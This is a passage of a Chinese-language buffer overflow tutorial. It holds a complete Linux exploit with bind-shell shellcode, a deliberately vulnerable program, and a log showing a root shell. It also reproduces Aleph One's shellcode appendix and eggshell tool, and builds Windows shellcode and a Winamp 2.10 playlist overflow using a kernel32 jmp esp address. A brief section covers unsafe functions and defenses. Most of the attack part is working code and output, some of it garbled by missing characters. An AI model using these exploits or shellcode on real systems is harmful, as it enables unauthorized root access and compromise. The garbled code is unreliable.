        "\x88\x46\x07"             /* movb %al,0x7(%esi)   */
        "\x89\x76\x08"             /* movl %esi,0x8(%esi)   */
        "\x89\x46\x0c"             /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"               /* movb $0xb,%al       */
        "\x89\xf3"               /* movl %esi,%ebx     */
        "\x8d\x4e\x08"             /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"             /* leal 0xc(%esi),%edx   */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\xb0\x01"               /* movb $0x1,%al       */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\xcd\x80"               /* int $0x80         */
        "\xe8\x5b\xff\xff\xff";       /* call -0xa5         */


    unsigned long get_sp(void)
    {
        __asm__("movl %esp,%eax");
    }


    long getip(char *name)
    {
        struct hostent *hp;
        long ip;
        if((ip=inet_addr(name))==-1)
        {
              if((hp=gethostbyname(name))==NULL)
              {
                    fprintf(stderr,"Can't resolve host.\n");
                    exit(0);
              }
              memcpy(&ip,(hp->h_addr),4);
        }
        return ip;
    }


    int exec_sh(int sockfd)
    {
        char snd[4096],rcv[4096];
        fd_set rset;
        while(1)
        {
              FD_ZERO(&rset);
              FD_SET(fileno(stdin),&rset);
              FD_SET(sockfd,&rset);
              select(255,&rset,NULL,NULL,NULL);
              if(FD_ISSET(fileno(stdin),&rset))
              {
                    memset(snd,0,sizeof(snd));
                    fgets(snd,sizeof(snd),stdin);
                    write(sockfd,snd,strlen(snd));
              }
              if(FD_ISSET(sockfd,&rset))
              {
                    memset(rcv,0,sizeof(rcv));
                    if(read(sockfd,rcv,sizeof(rcv))<=0)
                        exit(0);
                    fputs(rcv,stdout);
              }
        }
    }


    int connect_sh(long ip)
    {
        int sockfd,i;
        struct sockaddr_in sin;
        printf("Connect to the shell\n");
        fflush(stdout);
        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(30464);
        sin.sin_addr.s_addr=ip;
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
        {
              printf("Can't create socket\n");
              exit(0);
        }
        if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
              printf("Can't connect to the shell\n");
              exit(0);
        }
        return sockfd;
    }


    void main(int argc,char **argv)
    {
        char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
        long addr;
        unsigned long sp;
        int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
        int i;
        int sockfd;


        if(argc>1)
              offset=atoi(argv[1]);


        sp=get_sp();
        addr=sp-offset;


        for(i=0;i     {
              buff[i+ALIGN]=(addr&0x000000ff);
              buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
              buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
              buff[i+ALIGN+3]=(addr&0xff000000)>>24;
        }


        for(i=0;i           buff=NOP;


        ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
        for(i=0;i           *(ptr++)=shellcode;


        buff[bsize-1]='\0';


        printf("Jump to 0x%08x\n",addr);


        if(fork()==0)
        {
              execl("./vulnerable","vulnerable",buff,0);
              exit(0);
        }
        sleep(5);
        sockfd=connect_sh(getip("127.0.0.1"));
        exec_sh(sockfd);
    }
    ------------------------------------------------------------------------
    ----
    算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标
    程序
    来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的
    shellcode被
    执行,那么在30464端口就会有server在listen了。


    父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket
    读取
    收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端





    下面来试一试:


    我们先写一个漏洞程序:
    vulnerable.C
    ------------------------------------------------------------------------
    ----


    #include 


    int main(int argc,char ** argv)
    {
        char buffer[1000];
        printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
        strcpy(buffer,argv[1]);
        
        return 0;
    }
    ------------------------------------------------------------------------
    ----


    [nkl10]$ ./exploit
    Jump to 0xbffff63c
    I am herebffff280,buffer1224
    Connect to the shell
    Can't connect to the shell
    看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样
    就可以
    不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。
    [nkl10]$./exploit 956
    Jump to 0xbffff280
    I am herebffff280,buffer1224
    connect to shell
    whoami
    root
    id
    uid=0(root)......
    uname -a
    Linux localhost.localdomain 2.2.5-15。。。




    嘿嘿,大功告成了。




    防范堆栈溢出
              
    1:寻找漏洞


    我们已经看到堆栈溢出的危害,那么什么程序会有堆栈溢出的隐患呢?


    首先是strcpy,很多问题都出在他身上。


    其他的,还有:


    1:很多与字符串操作相关的函数都是有问题的。它们是:
    strcat(), strcpy(),sprintf(), and vsprintf()。


    2:带有可变参数的函数,比如:所有printf的变种,(除了printf)
    fprintf()...
    因为这些函数都使用了vsprintf(buf, fmt, ap);来将格式化的字符串和参数结合

    输出到buffer中去,所以都有堆栈溢出的危险。


    3:内部调用了strcpy的函数
    gets(),getc(), fgetc(), or getchar()...




    4:scanf()以及所有scanf的变种。
    vcscanf(),sscanf(),fscanf()...
    因为scanf可以接受参数%s,来进行串复制,而不考虑串的边界。




    有以上函数的程序,都是危险的。


    另外,所有链接了Xt lib的程序,都是有问题的程序。


    在linux里面,你可以查找所有的原代码,grep上述这些函数。如果没有原代码,
    你可以
    使用strings命令察看目标程序里面的字符串,看看有没有:"input什么的","%s"
    什么的
    ,还可以使用()命令来察看程序使用了哪些库函数。


    一旦发现有隐患的程序,你就可以使用前面讲过的各种方法来试验。相信很快就可

    发现一个漏洞并且得到shell。


    2:防范措施:


    当然最好的方法就是把堆栈段设置成不可执行。本来堆栈段就是放数据的吗!我们

    shellcode由于是在堆栈里面,所以将会彻底没戏。但是,这需要操作系统的支持
    才可以
    。solaris现在已经可以实现这个功能.Linux目前我不清楚。


    另外,不要随便编写setuid的程序。而且在写setuid的程序的时候,千万要小心,
    不要
    出现上面说的哪些问题函数,或者,附加边界检查。


    你的机器上的setuid程序的个数和名字,你应该定期检查。对于很少用的setuid程
    序,
    干脆就去掉setuid位得了。


    最后,新的漏洞是层出不穷的,精华区里面有很多安全网址。
    你(网管)应该每天去这些地方拜会。希望你紧跟时代,勤打补丁。


    3:附录:
    下面这些宝贝是从Aleph One的经典名著 “Smashing The Stack For Fun And 
    Profit”
    的附录考过来的。主要是为了方便大家使用,省得找了。


      Appendix A - Shellcode for Different Operating 
    Systems/Architectures
      
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    i386/Linux
    ------------------------------------------------------------------------
    ------
        jmp   0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
        movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int   $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc   %eax
        int   $0x80
        call   -0x24
        .string \"/bin/sh\"
    ------------------------------------------------------------------------
    ------


    SPARC/Solaris
    ------------------------------------------------------------------------
    ------
        sethi   0xbd89a, %l6
        or     %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and   %sp, %sp, %o0
        add   %sp, 8, %o1
        xor   %o2, %o2, %o2
        add   %sp, 16, %sp
        std   %l6, [%sp - 16]
        st     %sp, [%sp - 8]
        st     %g0, [%sp - 4]
        mov   0x3b, %g1
        ta     8
        xor   %o7, %o7, %o0
        mov   1, %g1
        ta     8
    ------------------------------------------------------------------------
    ------


    SPARC/SunOS
    ------------------------------------------------------------------------
    ------
        sethi   0xbd89a, %l6
        or     %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and   %sp, %sp, %o0
        add   %sp, 8, %o1
        xor   %o2, %o2, %o2
        add   %sp, 16, %sp
        std   %l6, [%sp - 16]
        st     %sp, [%sp - 8]
        st     %g0, [%sp - 4]
        mov   0x3b, %g1
        mov   -0x1, %l5
        ta     %l5 + 1
        xor   %o7, %o7, %o0
        mov   1, %g1
        ta     %l5 + 1
    ------------------------------------------------------------------------
    ------




              Appendix B - Generic Buffer Overflow Program
              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    shellcode.h
    ------------------------------------------------------------------------
    ------
    #if defined(__i386__) && defined(__linux__)


    #define NOP_SIZE     1
    char nop[] = "\x90";
    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    unsigned long get_sp(void) {
      __asm__("movl %esp,%eax");
    }


    #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)


    #define NOP_SIZE     4
    char nop[]="\xac\x15\xa1\x6e";
    char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";


    unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
    }


    #elif defined(__sparc__) && defined(__sun__)


    #define NOP_SIZE     4
    char nop[]="\xac\x15\xa1\x6e";
    char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
    "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";


    unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
    }


    #endif
    ------------------------------------------------------------------------
    ------


    eggshell.c
    ------------------------------------------------------------------------
    ------
    /*
    * eggshell v1.0
    *
    * Aleph One / aleph1@underground.org
    */
    #include 
    #include 
    #include "shellcode.h"


    #define DEFAULT_OFFSET             0
    #define DEFAULT_BUFFER_SIZE         512
    #define DEFAULT_EGG_SIZE           2048


    void usage(void);


    void main(int argc, char *argv[]) {
    char *ptr, *bof, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;


    while ((c = getopt(argc, argv, "a:b:e:")) != EOF)
      switch (c) {
        case 'a':
        align = atoi(optarg);
        break;
        case 'b':
        bsize = atoi(optarg);
        break;
        case 'e':
        eggsize = atoi(optarg);
        break;
        case 'o':
        offset = atoi(optarg);
        break;
        case '?':
        usage();
        exit(0);
      }


    if (strlen(shellcode) > eggsize) {
      printf("Shellcode is larger the the egg.\n");
      exit(0);
    }


    if (!(bof = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }
    if (!(egg = malloc(eggsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }


    addr = get_sp() - offset;
    printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
      bsize, eggsize, align);
    printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);


    addr_ptr = (long *) bof;
    for (i = 0; i < bsize; i+=4)
      *(addr_ptr++) = addr;


    ptr = egg;
    for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += 
    NOP_SIZE)
      for (n = 0; n < NOP_SIZE; n++) {
        m = (n + align) % NOP_SIZE;
        *(ptr++) = nop[m];
      }


    for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode;


    bof[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';


    memcpy(egg,"EGG=",4);
    putenv(egg);


    memcpy(bof,"BOF=",4);
    putenv(bof);
    system("/bin/sh");
    }


    void usage(void) {
    (void)fprintf(stderr,
      "usage: eggshell [-a ] [-b ] [-e ] 
    [-o ]\n");
    }


    window系统下的堆栈溢出--原理篇
    这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序

    堆栈溢出漏洞。


    让我们从头开始。windows 98第二版


    首先,我们来写一个问题程序:
    #include 


    int main()
    {
        char name[32];
        gets(name);
        for(int i=0;i<32&&name;i++) 
              printf("\\0x%x",name);
    }


    相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程

    一个很长的串,肯定可以覆盖堆栈中的返回地址。


    C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaa
    \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
    x61\0x61
    \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
    x61\0x61


    到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点

    详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我
    们。
    这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏
    移位置。


    C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
    12345678910111213141516171819202122232425262728293031323334353637383940


    \0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
    x32\0x31
    \0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
    x30\0x32
    到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细
    信息
    按钮,下面是详细信息:


    VUNERABLE 在 00de:32363235 的模块
    <未知> 中导致无效页错误。
    Registers:
    EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
    EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
    ECX=00000020 DS=0187 ESI=816bffcc FS=11df
    EDX=00411a68 ES=0187 EDI=00000000 GS=0000
    Bytes at CS:EIP:


    Stack dump:
    32383237 33303339 33323331 33343333 33363335 33383337 c0000005 
    0064ff68 
    0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 
    bff8b86c     


    哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计

    一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name
    变量
    地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的
    shellcode。
    我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始
    地址
    是多少呢?
    通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为


    0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在
    windows
    系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址

    是相同的。也就是说,每次运行,name的地址都是0x64fdd4。


    讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检
    测,
    出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
    溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。


    OK,万事具备,只差shellcode了。


    首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一

    dos窗口,这样在这个窗口下,我们就可以作很多事情。


    开一个dos窗口的程序如下:
    #include 
    #include 


    typedef void (*MYPROC)(LPTSTR);
    int main()
    {
        HINSTANCE LibHandle;
        MYPROC ProcAdd;


        char dllbuf[11] = "msvcrt.dll";
        char sysbuf[7] = "system";
        char cmdbuf[16] = "command.com";




        LibHandle = LoadLibrary(dllbuf);


        ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);


        (ProcAdd) (cmdbuf);


        return 0;
    }


    这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
    dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。


    但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说

    windows通过动态链接库来提供系统函数。这就是所谓的Dll's。


    因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个


    包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一

    基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由
    msvcrt.dll
    (the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从
    0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地

    只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,
    msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。


    所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接

    msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, 
    system)
    获得 system的真实地址。之后才能使用这个真实地址来调用system函数。


    好了,现在可以编译执行,结果正确,我们得到了一个dos框。


    现在对这个程序进行调试跟踪汇编语言,可以得到:
    15:       LibHandle = LoadLibrary(dllbuf);
    00401075   lea       edx,dword ptr [dllbuf]
    00401078   push     edx
    00401079   call     dword ptr [__imp__LoadLibraryA@4(0x00416134)]
    0040107F   mov       dword ptr [LibHandle],eax
    16:
    17:       ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
    00401082   lea       eax,dword ptr [sysbuf]
    00401085   push     eax
    00401086   mov       ecx,dword ptr [LibHandle]
    00401089   push     ecx
    0040108A   call     dword ptr [__imp__GetProcAddress@8(0x00416188)]
    00401090   mov       dword ptr [ProcAdd],eax
        ;现在,eax的值为0x78019824就是system的真实地址。
        ;这个地址对于我的机器而言是唯一的。不用每次都找了。
    18:   
    19:       (ProcAdd) (cmdbuf);
    00401093   lea       edx,dword ptr [cmdbuf]
        ;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
    00401096   push     edx
    00401097   call     dword ptr [ProcAdd]
    0040109A   add       esp,4


    现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

    是否能够像我们设计的那样工作:


    #include 
    #include 


    void main()
    {


        LoadLibrary("msvcrt.dll");
        
        __asm {
              mov esp,ebp           ;把ebp的内容赋值给esp
              push ebp             ;保存ebp,esp-4
              mov ebp,esp           ;给ebp赋新值,将作为局部变量
    的基指针
              xor edi,edi           ;
              push edi             ;压入0,esp-4,
                                ;作用是构造字符串的结尾\0字符
    。         
              sub esp,08h           ;加上上面,一共有12个字节,
                                ;用来放"command.com"。           
              mov byte ptr [ebp-0ch],63h ;
              mov byte ptr [ebp-0bh],6fh ;
              mov byte ptr [ebp-0ah],6dh ;
              mov byte ptr [ebp-09h],6Dh ;
              mov byte ptr [ebp-08h],61h ;
              mov byte ptr [ebp-07h],6eh ;
              mov byte ptr [ebp-06h],64h ;
              mov byte ptr [ebp-05h],2Eh ;
              mov byte ptr [ebp-04h],63h ;
              mov byte ptr [ebp-03h],6fh ;
              mov byte ptr [ebp-02h],6dh ;生成串"command.com".
              lea eax,[ebp-0ch]       ;
              push eax             ;串地址作为参数入栈
              mov eax, 0x78019824       ;
              call eax             ;调用system
        }
    }
    编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起

    当年用286的时候了?


    敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我
    们的
    程序已经把堆栈指针搞乱了。


    对上面的算法进行优化,现在我们可以写出shellcode如下:
    char shellcode[] = {
        0x8B,0xE5,             /*mov esp, ebp           */
        0x55,                 /*push ebp             */
        0x8B,0xEC,             /*mov ebp, esp           */
        0x83,0xEC,0x0C,           /*sub esp, 0000000C       */
        0xB8,0x63,0x6F,0x6D,0x6D,   /*mov eax, 6D6D6F63       */   


        0x89,0x45,0xF4,           /*mov dword ptr [ebp-0C], eax*/
        0xB8,0x61,0x6E,0x64,0x2E,   /*mov eax, 2E646E61       */   


        0x89,0x45,0xF8,           /*mov dword ptr [ebp-08], eax*/
        0xB8,0x63,0x6F,0x6D,0x22,   /*mov eax, 226D6F63       */   


        0x89,0x45,0xFC,           /*mov dword ptr [ebp-04], eax*/
        0x33,0xD2,             /*xor edx, edx           */
        0x88,0x55,0xFF,           /*mov byte ptr [ebp-01], dl */
        0x8D,0x45,0xF4,           /*lea eax, dword ptr [ebp-0C]*/
        0x50,                 /*push eax             */
        0xB8,0x24,0x98,0x01,0x78,   /*mov eax, 78019824       */   


        0xFF,0xD0               /*call eax             */
    };


    还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个
    shellcode:
    #include 
    #include 
    char shellcode[] = {
        0x8B,0xE5,             /*mov esp, ebp           */
        0x55,                 /*push ebp             */
        0x8B,0xEC,             /*mov ebp, esp           */
        0x83,0xEC,0x0C,           /*sub esp, 0000000C       */
        0xB8,0x63,0x6F,0x6D,0x6D,   /*mov eax, 6D6D6F63       */   


        0x89,0x45,0xF4,           /*mov dword ptr [ebp-0C], eax*/
        0xB8,0x61,0x6E,0x64,0x2E,   /*mov eax, 2E646E61       */   


        0x89,0x45,0xF8,           /*mov dword ptr [ebp-08], eax*/
        0xB8,0x63,0x6F,0x6D,0x22,   /*mov eax, 226D6F63       */   


        0x89,0x45,0xFC,           /*mov dword ptr [ebp-04], eax*/
        0x33,0xD2,             /*xor edx, edx           */
        0x88,0x55,0xFF,           /*mov byte ptr [ebp-01], dl */
        0x8D,0x45,0xF4,           /*lea eax, dword ptr [ebp-0C]*/
        0x50,                 /*push eax             */
        0xB8,0x24,0x98,0x01,0x78,   /*mov eax, 78019824       */   


        0xFF,0xD0               /*call eax             */
    };


    int main() {
      int *ret;
      LoadLibrary("msvcrt.dll");


      ret = (int *)&ret + 2;     //ret 等于main()的返回地址
                        //(+2是因为:有push ebp ,否则加1就可以了。)


      (*ret) = (int)shellcode;   //修改main()的返回地址为shellcode的开始地
    址。
        
    }
    编译运行,得到dos对话框。


    现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计

    偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆
    栈溢出
    的能力了,下面,我们通过实战来真正掌握他。


      window系统下的堆栈溢出----溢出字符串的设计
    我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算
    偏移地址,以及如何编写一个shellcode以得到dos。


    但是这远远不够。


    大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。
    事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址


    和堆栈指针都会含有0,那么我们的返回地址就必然含有0。


    现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode
    由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确


    的放在确切的函数堆栈中的ret位置。


    事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。


    其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充
    (实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖!


    ----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用??


    所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓
    冲区
    溢出发生之后,堆栈的布局如下:


    内存底部                     内存顶部
          buffer     EBP   ret   
    <------   [NNNNNNNNNNN][N   ] [A   ]SSSS
          ^&buffer
    堆栈顶部                     堆栈底部     


    看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调
    用。


    但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,


    根本无法到shellcode。我们需要把A改成不包含0的地址。


    好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,


    又可以不包含0字节呢?


    大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?
    他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转


    的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新
    的windows缓冲区溢出的思路。


    思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话
    A里面必然含有0。我们知道系统核心的dll都是在2-4G,也就是从0x80000000到
    0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他
    )。
    因此,我们可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的
    作用就是call/jmp 我们的shellcode。


    但是他怎么才能知道我们的shellcode的地址呢?


    答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,


    其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息

    比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,
    shellcode
    的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call [ebp+4]或者


    我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用
    shellcode。
    这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和


    堆栈的详细资料。
    那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次
    都在
    内存中可以直接调用呢?


    答案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.
    这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。
    你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看
    程序
    自己的import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够
    了。


    好,那么我们的shellcode最终为:
    NNNNNNNNNNNNNNNASSSSSSSS
    其中:N为NOP指令
    A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存
    >0x80000000,
    这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。
    S:shellcode。


    有了这些基础知识,我们来分析一个实例。


    大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。


    winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度
    如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。
    test.cpp
    ------------------------------------------------------------------------
    ----
    #include 


    int main()
    {
    char buffer[640];
    char eip[8] = "";
    char sploit[256] = "";
    FILE *file;


    for(int x=0;x<640;x++)
    {
        switch(x%4)   {
        case 0: buffer[x] = 'A';break;
        case 1: buffer[x] = 'A'+x/26%26/26%26; break;
        case 2: buffer[x] = 'A'+x/26%26;     break;
        case 3: buffer[x] = 'A'+x%26;break;


        }
    }
    buffer[x]=0;
    file = fopen("crAsh.pls","wb");


    fprintf(file, "[playlist]\n");
    fprintf(file, "File1=");
    fprintf(file, "%s", buffer);
    fprintf(file, "%s", eip);
    fprintf(file, "%s", sploit);
    fprintf(file, "\nNumberOfEntries=1");


    fclose(file);
    printf("\t created file crAsh.pls loaded with the exploit.\n");
    return 0;
    }
    ------------------------------------------------------------------------
    ----
    算法很简单,是写出一个crach.pls文件,内容可以根据那几个fprintf看出来的。


    我就不讲了,其中buffer的内容为测试用的字符串。这个测试程序可以测试
    最长为26^3的串,足够了。


    编译执行,看看结果,嘿,发生了堆栈溢出,结果如下:


    WINAMP 在 00de:4c574141 的模块
    <未知> 中导致无效页错误。
    Registers:
    EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
    EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
    ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
    EDX=005b02dc ES=0187 EDI=00000001 GS=4206
    Bytes at CS:EIP:


    Stack dump:
    50574141 54574141 58574141 42584141 46584141 4a584141 
    4e584141 52584141 56584141 5a584141 44594141 48594141 
    4c594141 50594141   


    根据eip=4141574c计算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
    好,溢出的位置为580。


    大家现在知道我们的溢出字符串中,返回地址A应该在串的580处,那么我们应该
    让他使用什么call/jmp指令以达到shellcode呢?


    看看寄存器dump,我们发现ESP里面的内容是41415750,恰好是4141574c之后的
    第一个数。看来ESP指向我们的shellcode,太棒了!我们使用指令:
    jmp ESP 就可以执行我们的shellcode了。


    现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF 
    E4.
    因为系统核心dll的加载地址都是从地址0xBf000000开始,所以我们
    搜索s Bf000000 L ffffffff ff,e4 
    得到了哪些结果?


    一堆呀,这第一个是:BFF795A3。看看softice里面的进程名称栏:
    Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。


    ok,问题解决,我们现在可以确定在buffer〔580〕处,写入四个字节:
    "\xa3\x95\xf7\xbf".这就是我们的溢出字符串中的返回地址A。


    好了,现在溢出字符串已经基本分析完了,就差shellcode了。
    下面我们来写shellcode。
    我们的shellcode要开一个dos窗口。C语言的算法描述是:


    LoadLibrary("msvcrt.dll");
    system("command.com");
    exit(0);
    很简单,是不是?下面是汇编代码:


    首先要LoadLibrary("msvcrt.dll");
                push ebp
                mov ebp,esp
                xor eax,eax
                push eax
                push eax
                push eax
                mov byte ptr[ebp-0Ch],4Dh
                mov byte ptr[ebp-0Bh],53h
                mov byte ptr[ebp-0Ah],56h
                mov byte ptr[ebp-09h],43h
                mov byte ptr[ebp-08h],52h
                mov byte ptr[ebp-07h],54h
                mov byte ptr[ebp-06h],2Eh
                mov byte ptr[ebp-05h],44h
                mov byte ptr[ebp-04h],4Ch
                mov byte ptr[ebp-03h],4Ch
                mov edx,0xBFF776D4   //LoadLibrary
                push edx
